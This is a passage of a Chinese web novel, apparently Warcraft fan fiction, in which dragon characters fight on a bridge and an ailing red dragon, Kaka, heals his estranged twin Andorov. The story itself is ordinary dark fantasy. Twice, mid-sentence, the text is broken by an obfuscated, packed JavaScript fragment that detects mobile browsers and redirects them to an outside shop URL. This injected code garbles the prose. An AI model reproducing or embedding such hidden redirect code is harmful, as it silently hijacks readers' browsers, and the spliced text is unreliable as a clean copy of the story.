说话的是个穿着一身纯白色正装的男人,他满头金发,宽肩细腰,左耳穿环,看上去像个温文尔雅的英俊贵族。他有一双深不见底的绿眸,一如华贵的祖母绿,美丽、神秘,同时藏着剧毒。 “雄性红龙非常强壮,他们的体力几乎是无穷无尽的。” 回答他的是一个“蓝色”的男人——他不仅有一双湖蓝色的眼睛,头发、眉毛和胡茬也是深蓝色,天蓝色的衬衣、石磨蓝的牛仔裤,连腰带、腕表和靴子都是蓝色的。他比那个金发碧眼的白衣贵族略高一些,面无表情,目光呆滞,整个人冷得像一块冰。 “没办法,我们去跟他打个招呼吧。”白衣男子笑道,“虽然立场不同,可在泰坦尼亚以外的地方看到同族,还是不能太失礼啊。” 安多洛夫扛着货柜,以人类短跑运动员都望尘莫及的速度跑了数百米,突然发现前方不远处站着两个人,紧接着他听到一个男人的声音: 您就是安多洛夫中将吧? 那声音并未经过耳膜,而是直接被送进他脑海中的。 刚才我们已经向您打过招呼了,不过我想还是再作一次自我介绍比较好——我叫伊森德雷,这位是我的伙伴卡雷苟斯,我们是特雷姆斯先生的……唔,与其说是朋友,不如说是合伙人更恰当一些。 安多洛夫并不担心那条叫卡雷苟斯的蓝龙,但再加上一条绿龙,情况就会麻烦得多——绿龙除了善于用毒和酸外,最恐怖的是他们在精神领域的特殊能力,杰森和鲍比就是因为受到了这条龙的精神污染,才会陷入歇斯底里的疯狂,直至互相残杀。 安多洛夫中将,我们希望您能放下肩上的货柜,让我们带走特雷姆斯先生。而作为报答,我们会让您全身而退,您觉得这个建议怎样? 那两条龙离自己越来越近,安多洛夫没有减缓步伐,反而开始加速。 他的脚下闪出红光,急速扩张的光环瞬间覆盖了他四周至少八十码的范围。 发动红龙光环了吗?这么说我们的交涉失败了?真不好啊,我向来不太愿意和红龙打交道呢——没办法,卡雷,你去拦住那位将军吧。 蓝龙接到命令,立即上前,全身寒气四溢。 “闪开!卡雷苟斯!”安多洛夫低喝一声,“你不是我的对手!” 但那条蓝龙对他的警告置若罔闻。 没用的,将军,他只会听我的,就先让他和你玩玩吧。 “你想让他送死吗?” 哦,不,当然不。我只是通常会先在一旁观察片刻再出手……我喜欢了解我的目标,比如他们最喜欢听什么音乐,或是最喜欢吃什么……所以希望您不要介意我窥探一下您的隐私…… 绿龙伊森德雷笑容可掬,凝视着全速朝自己冲来的安多洛夫。 ……以及那些藏在您心底,不为人知的小秘密…… 卡雷苟斯用海水制造出了一面巨大的冰壁,但并未阻拦安多洛夫前进——红龙光环在他身体周围形成高温区域,空气泛起波纹,路面的沥青被烫得起泡,两侧的路灯和金属路标牌纷纷熔化,蓝龙的冰壁经受不住炙热的红龙之力,亦开始融化崩溃,一声巨响,安多洛夫扛着货柜撞进冰壁,卡雷苟斯见势不妙,立即用更多的海水填补并增厚冰壁。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17363256|199775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 而当两人正面交锋时,伊森德雷却只是双脚离地悬浮在空中,静静地凝视着那条勇猛无畏的红龙,当安多洛夫眼中红光绽开欲使用红龙炸弹时,伊森德雷忽然不紧不慢地开口问道: “那么……这个‘卡卡’是何方神圣?” 那个名字简直像有魔力一样,非但让安多洛夫的攻击失了准头被卡雷苟斯躲开,甚至连他脚下的光环都发生了瞬间扭曲。 “呀,真是立竿见影。”绿龙笑道,“看来这个人一定对你很重要。” 伊森德雷实在太危险了,绝不能再让这条绿龙活下去! 趁安多洛夫分神之际,卡雷苟斯抓住机会,用海水制成的巨大冰刃迎头铡下,把他肩上的货柜整整齐齐地切成两截。 安多洛夫的身体失去平衡,重重地栽倒,脸擦着地面滑出几十米,他刚刚起身,一块比刚才砸毁四辆警车的凶器加起来还要大的冰狠狠地砸在了他的背上。 卡雷苟斯歪着头盯着那座冰山,把它重新拉起升至空中,然后再次往下砸。 一下,两下,三下…… 直到那块冰完全碎掉为止。 伊森德雷轻轻地哼了一声。 “这可够他受的了——卡雷,去救人。” 蓝龙来到被切开的货柜前,伸手撕开厚重的装甲板,把那条黑龙连人带椅拽了出来。 “哦,伙计们,见到你们真是太高兴了。” 卡雷苟斯摘掉了特雷姆斯头上的抑制器,扯掉了那些连在他身上的感应线,那条黑龙立即成了变了身的超人,自行挣开镣铐站了起来。 “该死的,我被这群混账整得这么惨,真想毁掉点什么才行!”特雷姆斯烦躁地走来走去,“对了,那条红龙呢?我非把他剥皮抽筋不可!” “冷静点,特雷姆斯。”伊森德雷的声音从空中传来,“你现在还没完全恢复自由呢。” 绿龙的话音未落,特雷姆斯就痛苦地捂着胸口弯下身子。 “我……我的心……疼极了!!……”他大声咆哮着。 “那个将军在你体内埋了红龙炸弹,如果肆意使用黑龙之力,你的心脏会不堪负荷而爆掉。”伊森德雷淡淡地说。 “快!把它挖出来!”特雷姆斯右手变成了覆盖着鳞片的巨大龙爪,不由分说一拳打进自己胸腔,冲着身边的蓝龙大吼,“快!快把我的心挖出来!我已经受不了了!——” “真是的,把那条红龙杀了,炸弹自然就解除了,他给你设下的禁锢也救。”伊森德雷皱了皱眉,从胸前掏出一块白手帕捂住口鼻,“你明知我讨厌见血的。” “胡说八道,你用浓酸毁了那么多女人的脸还不是乐在其中?……少废话,快来帮忙!” “若不是你太莽撞,也不必吃这苦头。”伊森德雷笑道,“就当这是个教训吧——说起来这位红龙中将好像是个很有趣的人,我正想多研究他一下呢……” 就在这时,红光冲天而起,安多洛夫跃至高空,没有理会蓝龙和黑龙,却一个俯冲,向伊森德雷发起攻击。 绿龙不慌不忙,当安多洛夫蓄满万钧之力的拳头即将挥上他的下巴时,他的脸突然变得恍惚起来。 这就是你内心深处最重要、最为惦记的人,对吗? 安多洛夫一贯波澜不惊的刚毅脸庞上,竟有着深深的恐慌。 “卡卡?……”安多洛夫喃喃自语,“真的是你吗?” “我们有多久没见过了,安多?为什么每次见到你,你都会比原来大上一圈?军队的伙食有这么好吗?你的胳膊比我的腰都粗了。”那又瘦又高的男人双手插兜,歪着头漫不经心地看着他。 那副痞痞的表情,那让人恨得牙痒痒的语气,那弱不禁风的消瘦身躯…… 真的是卡卡。 多少年来他一直四处寻找,却音讯全无的卡卡。 “你夺走了我的一切,安多。” 安多洛夫愣住了。 卡卡冷冷地说:“一切都是你的,安多,你从一开始就是赢家,而我注定是个失败者。” “不……不是这样的……” “你还来找我做什么?嫌我还没有死,苟活在这世界上继续威胁你吗?你的拳头就要砸碎我的头颅了——你终于还是打算亲手杀了我,对吗?” “不!!!!——” 安多洛夫大吼一声,一拳挥偏,他的右臂因为急速收拳而鲜血淋漓,但他什么也顾不上了,只是紧紧地拥抱着面前的人,吻那个人的前额。 “我恨你,安多。” “我知道,我知道。”安多洛夫嘶哑地说,“可是,跟我回家吧,卡卡,大家都知错了……我们都错了,请你原谅我们,请你饶恕我,求你——” 他的声音嘎然而止。 因为一只手臂击穿了他的左胸。 卡卡笑了,在安多洛夫的记忆中,卡卡从没笑得这么邪恶过。 卡卡的脸扭曲起来,他变成了那个金发碧眼,一身雪白的英俊男子。 “我想卡卡他一定宽恕你了。”伊森德雷在安多洛夫耳边低声说。 红龙张了张嘴,却什么也没说出口,鲜血沿着嘴角缓缓淌下,瞳孔中鲜艳的红色开始褪去,死亡之影笼罩住了他的脸。 “因为我听到他在说……”绿龙的唇角优雅地扬起。 “死吧,安多……” 伊森德雷把手臂从安多洛夫胸前抽出,轻轻一推,红龙魁梧的身躯朝地面坠去,他舔着手指上的血:“其实我并没有那么讨厌血。” 一旁的卡雷苟斯一挥手,一根锐利的冰矛刺穿了安多洛夫的腹部,将他整个人钉在大桥道路中央。 寒冷刺激着安多洛夫全身的每一根神经,刻骨铭心的痛楚令他全身的红龙之力沸腾起来。 卡雷苟斯上前,准备给安多洛夫最后的致命一击。 “别靠近他!”空中的伊森德雷叫道。 他的警告迟了半秒,卡雷苟斯进入了安多洛夫的攻击范围,因此他承受了这条红龙濒死前倾其全力的攻击。 见红光没入卡雷苟斯的胸膛,他的眼耳口鼻乃至身上每一个毛孔都开始冒出浓烟,伊森德雷便知道这条蓝龙完了,他背过身去,不想去看卡雷苟斯的惨状。 “救救我……特雷姆斯……啊!——” 一声巨响,特雷姆斯被溅了一脸一身的血肉碎屑,地上长出大片大片紫蓝色的梦叶草。 空气中弥漫着焦腥味,他深深地吸了一口,精神大振,这种味道令他兴奋,相比之下好像胸口也不那么疼了。 “我只要站在他的攻击范围外,等他慢慢死掉就好了吧?”他冲着空中的绿龙喊道,“这样我的红龙炸弹就会消失,而我也能恢复黑龙的力量了?” “然后你想做什么呢?”伊森德雷问。 “那还用说吗?”特雷姆斯舔了舔嘴唇,跃跃欲试地盯着大桥尽头,矗立于艾尔文森林中的暴风城。 “我想我应该去洗个澡,然后去找个地方吃饭。”伊森德雷慢条斯理地看了看表。 “让我吃了这么多苦头,他们全都该死——” ———— —— 伊森德雷慢条斯理地看了看表。 “让我吃了这么多苦头,他们全都该死——” 特雷姆斯环视四周,却突然发现安多洛夫不见了。 “喂,你把那家伙弄到哪里去了?” “……” “你别装傻,一定又是你用了什么幻术吧?” “不是我。”伊森德雷脸色一沉,“有人把他救走了。” “你在开玩笑吗?怎么可能有人在我们眼皮底下——” “我的表刚刚跳了十秒钟。” “你说什么?你的表……难道有人暂停了——”特雷姆斯愣了愣,突然破口大骂起来。 伊森德雷盯着自己的腕表。 “真没想到,连青铜龙都来搅局了……这下成了二对二,两边都有重伤员呢。”绿龙叹了口气,“唉,卡雷苟斯这个蠢货。” 特雷姆斯盛怒之下动用黑龙之力把大桥炸塌了一截,却又是痛得满地乱滚。 “红龙!还有青铜龙!总有一天我会把你们全宰掉!” 7. 第 7 章 五月十一日,星期日,上午十点四十三分,暴风城南区贫民区某公寓内。 天刚蒙蒙亮卡卡就醒了,但他完全不想动,继续昏昏沉沉地趴在床上,半睡半醒间他好像做了很多稀奇古怪的梦——比如什么高速公路追逐、大海啸、暴风雪外加超人大战之类的。 最后他终于决定下床,但脚刚一沾地,他整个人就失去平衡咚的一声栽倒在地,疼痛刺激着他的神经,卡卡懊恼地低声诅咒所有能用来诅咒的东西。 十五分钟后,他终于爬了起来,并开始扶着墙颤巍巍地在房间里一点一点地行走,他觉得自己的身体就像一台生满铁锈的机床,运转起来全身上下每个关节都在嘎吱乱响,他甚至怀疑自己是不是得了中风,并开始幻想自己半身不遂坐在轮椅上歪着头斜着眼然后口水嘀嗒的样子。 他真的不该去救那个臭小子。 他怎么会这么冲动?那根本不是他的风格。 他已经救了那臭小子的妹妹,先不管他的动机是什么,至少他救过人了。 谁要那臭小子帮他挡子弹了?多管闲事!自不量力! 他是条龙耶。 卡卡瞪着镜子里的自己,默默数了一遍自己身上的肋骨,确定都还在之后,开始洗脸刷牙。 听着嘴里的嚓嚓声,他开始回想过去的十数个小时内所发生的事。 是她送他回来的?他好像的确告诉过她自己的住址。 对了,说起来,那条小母龙,到底怎么样了? 大概已经顺利地干掉了那条危害……嗯,即将危害公众生命财产安全的黑龙,然后拎着那条龙的脑袋回泰坦尼亚复命去了吧? 真好啊,年纪轻轻,长得也不错,现在还救了几十万条人命,立了大功,回去以后大概立即就会如愿以偿成为正式探员,从此平步青云吧?要是胸部再弄大点,多花点心思打扮打扮,没准哪天就被什么高官富翁看上,然后嫁入豪门了。在雄性龙的世界里,母龙得学会经营自己,才能产下孵化率高的优质龙蛋…… 胡思乱想着,卡卡突然感到有些异样,把牙刷从嘴里取出,怔怔地看着上头的血丝,接着又呕出几大口漆黑发亮的污血,放水冲掉。 他并没有说谎。 每一次使用红龙之力,对他而言都是一种折磨,虽然他依然能够成功治愈绝大部分生物的伤病,甚至依然能够起死回生——只要是“没死透”的那种——但代价却是身体机能每况愈下,这的确是一种慢性自杀。 这样下去,他还有多久可活?十年?二十年?也许他连接下来的二十四小时都活不过。 卡卡看着镜子里的那个人,自嘲地笑笑。 既然时日无多,那才更要好好享受人生啊。 他套上一件无袖罩衫,打开那台老古董的球面管彩色电视机,朝自己从跳蚤市场上花了五十银币淘来的旧沙发上一倒,懒洋洋地用脚把面前茶几上的零食袋和空啤酒罐拨开,然后把脚搁上去,舒了口气,看起新闻来。 在他饱经摧残,伤痕累累的时候,还是这种生活最棒了。 卡卡在沙发上蠕动着,找到了一个舒服的姿势,他摸摸屁股,心想要是人类形态能保留尾巴,他连用手按遥控器的功夫都能省下了。 ……今天上午在连接暴风城与夜色镇的海湾大桥上发生一起恶性暴力事件:一支从荣耀堡押送要犯前往暴风城监狱的车队遭到不明身份人士的袭击,至少有十名警察殉职,要犯下落不明。暴风城警署拒绝透露被押送要犯的身份,同时也否认此次事件与近来在暴风城南区发生的骚乱事件有关。 ……警方迅速封锁了事发现场,目前海湾大桥已禁止通行,但透过镜头画面我们可以看到大桥中部有数处发生断裂坍塌,浓烟滚滚,很显然这次劫囚行动是经过精心策划的。 ……虽然暴风城警署拒绝透露被劫走的要犯之身份,但在网络上已盛传此人正是不久前被逮捕的□□头目特雷姆斯·哈扎德——特雷姆斯涉嫌从事毒品军火走私和□□印制,并与多起凶杀纵火案有关。作为艾泽拉斯世界通缉令上的头号危险人物,特雷姆斯被多国政府联合公诉长达十余年却一直逍遥法外…… “哟,真不简单,我的小艾米。”卡卡在沙发上怪叫起来,“这种大场面你是怎么弄出来的?想必跟那个刀疤脸大干了一场吧——” 突然房间里响起一阵嗞拉嗞啦的电流声,电视机上的画面随之扭曲变形,所有的灯都在忽明忽暗地闪动。 “喂!我这个月有交有线电视费、宽带网络费和电费的!虽然信用卡号是偷来的!……”卡卡愤怒地用空啤酒罐砸向电视机,嗓子扯过了头,胸口一窒,又是一阵剧烈的咳嗽。 紧接着,一团巨大的黑影从天花板上砸了下来。 那一刻,卡卡以为是有人在拆他的房子,几秒前病恹恹的样子一扫而空,眼中红光一闪,掀开沙发垫子拿出枪,翻身跳起,窜到房间墙角,飞快地一一瞄准了所有可能会受到攻击的方向。 但并非仇家寻上门来,他的房子也没塌。 客厅中央,墨汁似的黑烟迅速凝聚成型,一个女人的声音高喊道: “别开枪!” 卡卡眯起了眼。 “是我,卡卡!我是艾米!” 艾米正单膝点地跪在地上,她浑身都是血,但那些血并不是来自于她。 一个巨大的人影正趴在她身边,这个体型比她和卡卡加起来还要大上一倍的男人像艘搁浅的巡洋舰,填满了卡卡狭小的客厅。 他的身上被开了两个大洞,伤口惨不忍睹,一眨眼的功夫他的血就浸透了半张地毯,浓烈的血腥味让卡卡皱紧眉头捂住口鼻,强忍着干呕的冲动开口: “我在等你的解释。” “他受了重伤,必须尽快得到医治!”艾米心急如焚,“详细情况我回头再慢慢告诉你!” “那你应该送他去医院,带到我这里来做什么?”卡卡一脸嫌恶地说,“老天,看看你把我的家弄成什么样子?!雄性龙的血简直比消毒水还难闻!” “卡卡,这条龙就要死了!”艾米叫道,她盯着卡卡,期待他一脸肃穆地冲上前来为这个男人医治。 但卡卡却无动于衷。 “卡卡?你就打算站在那里看吗?我已经用了特殊能力,今天没法再冻结时间了!” 卡卡上前,在那男人身边蹲下,捏着那人的下巴把他的脸扳过来。 他背对着艾米,所以她看不到那条红龙的表情变化。 片刻之后,他站起身,面无表情地说: “艾米。” “什么事。” “现在带着这个家伙,从我的房子里滚出去。” “你……” “怎么来的,就怎么走。”卡卡摘下门链,拉开门,“如果你现在不能用瞬间移动,那就走大门,别理楼下那个又聋又瞎的公寓管理员。” “卡卡你……” “滚!!”卡卡暴喝一声,“我不想见到你,还有这条该死的龙!!” 他再次剧烈咳嗽,咳得弓起身子,米黄色的门上被溅得星星点点。 “你……你在咳血——” “不用你管。”卡卡恶狠狠地瞪了她一眼,“好吧,你们待在这儿,我走。” 说着就这么拿着枪走了出去,重重地甩上了门,走廊里传来女人的尖叫。 “闭嘴,婊子!” 艾米看着那扇门,又看了看地上流血不止的巨人。 卡卡向她提供了情报,但她没有干掉那条黑龙,她只能眼睁睁地在一旁看,那几条龙的能力强得匪夷所思,那根本不是她能够插手的巨龙之战,红龙光环范围超过八十码,中央区域的温度足以令金属沸腾,她根本无法接近那个货柜,她只能暂停时间,使用空间移动术救走这条红龙。 她弄砸了,这都是她不好。 可是为什么卡卡会如此暴躁?她以为他们虽然相处得不甚愉快,但好歹是一条道上的。 蓝龙已经死了,那条黑龙正与他的绿龙同伙逍遥法外,也许他们已经来到了暴风城,正躲藏在某个角落里,盘算着如何向凡人报复。 她不能让这个男人死,这条红龙拥有她从未见过的强大力量,她不知道那条绿龙到底让他看到了什么,竟能轻易瓦解他的精神壁垒。若卡卡坚持袖手旁观,那么他便是唯一的希望。 光头巨人的身躯沉重如牛,艾米连他的一只胳膊都抬不起来,只得动用龙族的意念力把他挪到了沙发上,撕开他那几乎沾满血的衬衣,这个巨人胸腹上的壮硕肌肉宛若铁甲,可也没能挡住绿龙和蓝龙的攻击。 她清理了伤口,接下来却束手无策,龙族的人类形态从生物学的角度上来说和真正的人类毫无区别,可这毕竟是幻化体,凡人的医学毫无用处。 他流了太多血,而且因为伤口太大而无法凝固,这样下去等待他的只有死亡。 “安多洛夫,撑住,我会找人来救你。”艾米低声说,“就算用枪指着他的头,我也会要让他救你。” 说完她刚要起身,手腕突然被一只巨掌攥住,她吓了一跳。 “……”巨人的嘴角在动,像是在念叨什么。 艾米凑过去听,却愣住了。 红龙在昏迷中一遍又一遍地重复着那个名字。 卡卡。 …… 还是那家酒吧,艾米找到了他。 他趴在吧台上,把头埋在手臂里,面前摆着一杯水。 “女人,你还想要什么?”他抬起头,冷冷地盯着她。 “你心里在骂我,对不对?”她问。 “岂敢。”他用鼻子哼了一声。 “那条红龙,他认识你。”艾米说。 “哦,是吗?”卡卡懒洋洋地说。 “他一直在念着你的名字。” “大概恰好同名吧?又或者你听错了。” 看他一副爱理不理的样子,艾米也没动气,她凑上前低声说: “卡卡,你知道吗?你是条喜怒无常,乖张世故的龙。” “是啊,我就是这样子的,你若是看不顺眼,就别来勾搭我。” “你生气并非是因为我,而是因为你见到了那条红龙。”艾米说,“你认识他,而且你们的交情不薄,我打赌那条绿龙利用某些幻象扰乱了他的心神,而这些幻象与你有关。” “哗,原来还有条绿龙啊,那可真是不得了。” “这究竟是怎么回事?”艾米问,“卡卡,告诉我。” 卡卡咧开嘴笑了笑,用眼角斜瞟了她一眼:“你真想知道?——那我就告诉你吧。” 艾米屏住呼吸,静候下文。 “其实呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17363257|199775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我跟他是一对恋人,可是因为门不当户不对,他家里人看我不顺眼,又见不得我们搞断背,成天对着他唧唧歪歪,大概他多少也听进去了些吧,总之最后我们崩了,还弄得彼此都很不爽。”卡卡慢条斯理地说,“后来他有了老婆小孩,还成天骚扰我,于是我就离开泰坦尼亚躲到暴风城来了——你知道,很八点档肥皂剧的那种……” 艾米一副听得很入神的样子,之后把脸一沉:“少给我来这套。” “我说的可都是真的,信不信由你。”卡卡耸了耸肩。 “他不会是那种人。”艾米说。 “啧啧。”卡卡讥讽地笑了笑,“你才认识了他多久,这就迫不及待地要站在他那边了?——不过这也怨不得你,他从小女人缘就很好,长大后更是有数不清的女人为他争风吃醋,每到龙族繁殖季,渴望与他□□,替他生蛋的发情母龙能从冬泉谷排到藏宝海湾,就连红龙女王都很喜欢他,据说女王的幕僚团曾数次把他的名字列入女王配偶提名……说起来,你真不知道他是谁吗?” “我只知道他叫安多洛夫,打斗时那条绿龙是这么称呼他的。” “他叫安多洛夫·雷奥,红龙四大家族之一的雷奥家族的既定继承人;他曾在红龙军团服役若干个世纪,其间功勋累累,多次受到红龙女王亲自嘉奖。退役前他的军衔是中将,因此大家都习惯称他为红龙中将,或者光头中将什么的,他被誉为红龙一族中的最强战士……总之他拥有每条公龙都梦寐以求的一切。”卡卡说着又神神秘秘地在艾米耳边低语,“他不光身材魁梧,浑身肌肉,‘那方面’也会带给你无穷惊喜的哦。” “你在胡说些什么!”艾米气恼地涨红了脸。 “你心目中的‘样板红龙’不就是他这样的吗?”卡卡说,“不过呢,他这个人什么地方都堪称完美,却唯独有一个污点,那就是曾经跟我搞过。” “卡卡!”艾米伤脑筋地喊,“你就不能正经点吗?况且就算他——” 她上下打量了卡卡一眼,没再接着说下去。 “我知道你想说什么。”卡卡笑道,“不过算了,我这个人宽宏大量,不跟你这种黄毛丫头计较——况且你的想法其实也没错,他这么优秀,我这么挫,根本不配嘛,哈哈哈。” “卡卡……” 他大笑着朝吧台上搁了几枚硬币,朝人群中忙碌的大胖子老板挥了挥手,转身朝门口走去。 “走吧。”卡卡说。 “啊?” “去救人啦,笨蛋。”卡卡在她脑袋上敲了一记,“要是他真挂了,那可不知道有多少条痴怨母龙要哭瞎眼唷。” 他之前还与一副跟安多洛夫深仇大恨的样子,现在却又笑嘻嘻地说要去救他……卡卡的心情简直像六月的天气说变就变,可艾米却顾不得那么多了。 至少,至少他回心转意愿意救人了,这终归是好事,不是吗? “把他的伤治好,然后你们好好合计个作战计划,把那条为非作歹的黑龙和他的同伙干掉,这样明天不会有地震,世界会变得更美好,万事大吉,对吧?” 艾米简直不敢相信自己的耳朵。 “卡卡,为什么你……” “但我有一个条件。”卡卡话锋一转。 艾米一副“我就知道”的表情。 “说吧。” “他醒了之后,你绝不能向他提起我。” “为什么?” “别问为什么。”卡卡直视她的双眼,“你不能向他透露我的任何事,你必须装作从来没见过我,也根本不认识我——听清楚了吗?” “我的确不认识你。”艾米说,“卡卡,你真让人看不懂,你究竟是条怎样的红龙?” “我要得到你的保证。” “好吧,我保证。” “你必须发誓。” “我发誓只要卡卡救了安多洛夫·雷奥,就绝不向后者透露有关卡卡的任何事,否则我会当场暴毙,我的龙骨会被人从诺森德挖出来复活变成骨龙,最后我的身体会化为灰烬,而灵魂会永世不得安宁。”艾米举起右手,“满意了?” “……差强人意。” “既然发了如此毒誓,我也要附加一个条件。”艾米说。 “我这里可没得讨价还价。”卡卡冷笑。 “那我刚才说的都不算。” “那就让他死吧。” “卡卡,你比我更清楚他不会死,他非常强壮,一定能挺过来,而你的治愈是为了让他尽快恢复,因为还有更重要的事等着我们去做。” 两人对视着,一分钟后,卡卡泄气了。 “有的时候我真想把你——”他双手成爪,做了个“掐”的动作,“说吧!小母龙,开出你的条件来。” “你和他,究竟是什么关系?”艾米直截了当地问,“这一次我要听真话。” 街上依旧是一派破败颓然的景象,满地狼藉的大街上空空荡荡,偶尔能听到几声狗叫。 卡卡四下张望了一阵,既气恼又无奈地抓住艾米的肩膀,把字一个一个地挤出牙缝: “卡卡只是一个化名,我真正的名字,叫卡卡洛夫——卡卡洛夫·雷奥。” 那条红龙凶神恶煞地说: “那家伙是我的哥哥——我们是孪生兄弟。满足你的好奇心了吗?小母龙!” 8. 第 8 章 艾米坐在一边,看着卡卡为安多洛夫医治。 之前发生的一切都太匆忙,现在她终于能有一点时间,来观察这对红龙兄弟。 安多洛夫非常强壮,这一点毋庸置疑,龙族的人类形态其实是对他们龙类本体的一种影射,对于巨龙来说,人类形态的身高相当于龙形态的体长,而肩宽则代表翼展,因此安多洛夫绝对是一条很大、很大的龙,飞在天上活像一座空中堡垒。 相比之下,卡卡则“瘦小”得多,而且仔细看就会发现,卡卡的双肩高度不均,这表明他龙形态的左右翼肱骨不对称,同时翼指骨也有些畸形,同时他的右腿有一点跛,这意味着作为一条巨龙,飞行对于卡卡来说是一种折磨,甚至他很有可能根本飞不起来。 抛开外形和力量上的天壤之别,卡卡和安多洛夫的相貌也完全不同。 总而言之,他们身上几乎找不出什么相同点,这对于孪生兄弟来说是很奇怪的事。 所以当卡卡告诉艾米这件事后,她的第一反应是这很荒唐。 但她并没有跳起来大喊这不可能,因为她隐隐觉得,卡卡这一次没有骗她。 因为她发现,卡卡和安多洛夫在一起时,种种巨大的差异凑在一起,竟生成了一种诡异的…… 协调感。 这令艾米感到很惊诧。 从他们身上,她看到了截然不同的两种极端,如果说安多洛夫代表兴盛,那么卡卡则意味着凋零,如果安多洛夫是一个祝福,那么卡卡就是个诅咒。 一个是生,另一个则是死。 这就是生命的意义吗? 看着身形羸弱的卡卡跪在他那壮硕如山的哥哥身边为他医治,艾米心里很难过。 她为卡卡难过,或者说,她为这对红龙兄弟难过。 卡卡非常不喜欢他的哥哥,甚至连见安多洛夫一面都唯恐避之不及。 这到底是为什么呢? 因为自己的哥哥太优秀,所以嫉妒?怨恨?自惭形秽? 因为卡卡会变成这样,是他哥哥所造成的? 不,这不可能。 安多洛夫是个军人,正直、忠诚、勇猛,以守护他的君王、同胞和亲人为己任,他不可能对卡卡做过分的事,在他的生命之火即将熄灭时,他还对自己的孪生兄弟念念不忘,听着安多洛夫气若游丝地喃喃念着那个名字,那藏匿在强悍下的无助和悲伤彰显无遗,几乎令她掉下泪来。 艾米能感受到安多洛夫的无奈和愧疚,他与卡卡之间肯定发生过什么。 卡卡把双手放在安多洛夫的伤口上,发动了红龙之力。 屋子里所有的东西都在颤抖,鲜艳的红光映在地板、墙壁和天花板上,整个公寓就像被浸泡在血海之中,令人不安的色调似乎在预示着某种不幸,直至艾米听到了歌声。 此起彼伏的低声耳语诉说着这个世界不为人知的秘密,而那歌声就像来自伸手便可触及的天国,如水晶般清澈透明,蕴含着令人心悸的温暖。 卡卡脸上的肌肉抽动着,他的指甲因为剧烈的能量冲击而开裂,十指鲜血淋漓,一股无形的力量撕开了他的罩衫,那一瞬间,艾米看到他的背上出现了一对血翼。 血翼一闪即逝,红光渐褪,圣颂和低语重归寂静。 卡卡赤裸的背上留下了翼痕,虽然已经止血结痂,但看起来依旧触目惊心。 他面无表情,两眼空洞地盯着安多洛夫,就像一个自我折磨的忏悔者。 安多洛夫胸腹上的伤口全然愈合,不留一丝痕迹,死亡的阴影离开了他的脸,这条红龙再次获得生机,心脏的跳动越来越有力,似乎下一刻就会睁开眼。 “卡卡?……”艾米担心地看着他。 “艾米……”他回过头,艰难地扯出一丝笑容,“你……” “你杀了我吧。” 他如是说。 话音刚落,他就像疯了一样开始在房间里横冲直撞,他不停地用头撞墙,挥拳破坏着一切能破坏的东西,但这些都不足以发泄他所承受的剧痛的十分之一,艾米惊恐地捂着自己的嘴。 “杀了我!……杀了我吧!我的头疼得快要裂开了啊……” “卡卡……求求你,别这样!” 数分钟后,卡卡沿着墙滑倒在地,蜷缩在墙角,豆大的汗珠从两鬓滚落,他剧烈地喘息着,绝望地盯着天花板。 他赤红色的眼瞳变成了死灰色,艾米小心地走近他。 “我……我很冷……”卡卡苦笑着,“我的血好像要结冰了……” 卡卡的体温低得吓人,几乎连脉搏都快没有了。 “为什么?为什么会这样?”艾米哭着问,“只是帮你的哥哥治伤,为什么会把你伤成这样?……这都是我的错,卡卡,我不该……” “他已经没事了。”卡卡苦笑着说,“一直以来都是这样,当他没事的时候……我就会……就会半死不活。” “卡卡,别再说话了。”艾米真的很害怕,怕他最后一点生气会随着他的话语悄悄流逝,“他就要醒了,等他醒过来,他一定知道你身上发生了什么,他一定会救你的——” “不,不!不……”听了她的话,卡卡愤怒地摇头,“我不想见到他……我不能见他,你答应过我的!”说着又咳出一大口血,吓得艾米赶紧说:“是的,是的,你不会见到他,他什么也不会知道……可是……别死,卡卡,求求你。” 卡卡轻轻地舒了口气。 “其实,我一直也不太明白……这么坚持着,究竟是为了什么。” “活着本身就是一种幸福,任何人都应该努力地活着。” “但是对我而言……这实在是太痛苦了。” “不!卡卡!别放弃……你一个人流浪了这么久都挺了过来,别放弃,好吗?”艾米捧着他的下巴,轻轻地吻着他毫无温度的脸颊。 “别再在我身上浪费时间了。”卡卡疲惫地笑了笑,“还有很多人在等着你去救……你是注定要立大功的……等他醒过来,就告诉他一切,他会帮你的……正如你所说的那样,他是个好男人,是条好龙……比我好很多,比我有用得多……” 艾米怒不可遏地站起身。 “这根本不是谁好谁坏,谁更有用的问题!——救一个人和救一群人的意义是同等的,不是吗?!” “你倒现学现用了。” 艾米弯腰,把他的手臂搭在自己肩上,勉力将他拉起来。 “我不会让你死的。” 说完她眼中银光一闪,两人一起化为黑烟没了踪影。 “这是什么地方?……” “艾尔文森林。” …… 安多洛夫睁开眼,发现自己正躺在一间陌生的公寓里。 他坐起身,环视四周。 这里简直像刮过龙卷风,几乎没什么完好的东西。 空气中弥漫着一股奇异的味道,他嗅了嗅,浓眉一拧。 这是龙类的味道,这个房间里曾经待过一条雄性龙和一条雌性龙,其中雄性龙的味道根深蒂固,看来已经居住了很长一段时间,而雌性龙的味道虽然浓,但却很新,大概是访客。 这是什么地方?房间的主人是谁?特雷姆斯和那条绿龙难道还有其他同伙吗? 不,应该不是这样。 因为他还活着,而没有被特雷姆斯大卸八块。 他记得自己胸口被贯穿,腹部被冰锥刺透,而这全都是因为那条绿龙让他看到了某些幻像,扰乱了他的心神从而露出破绽。 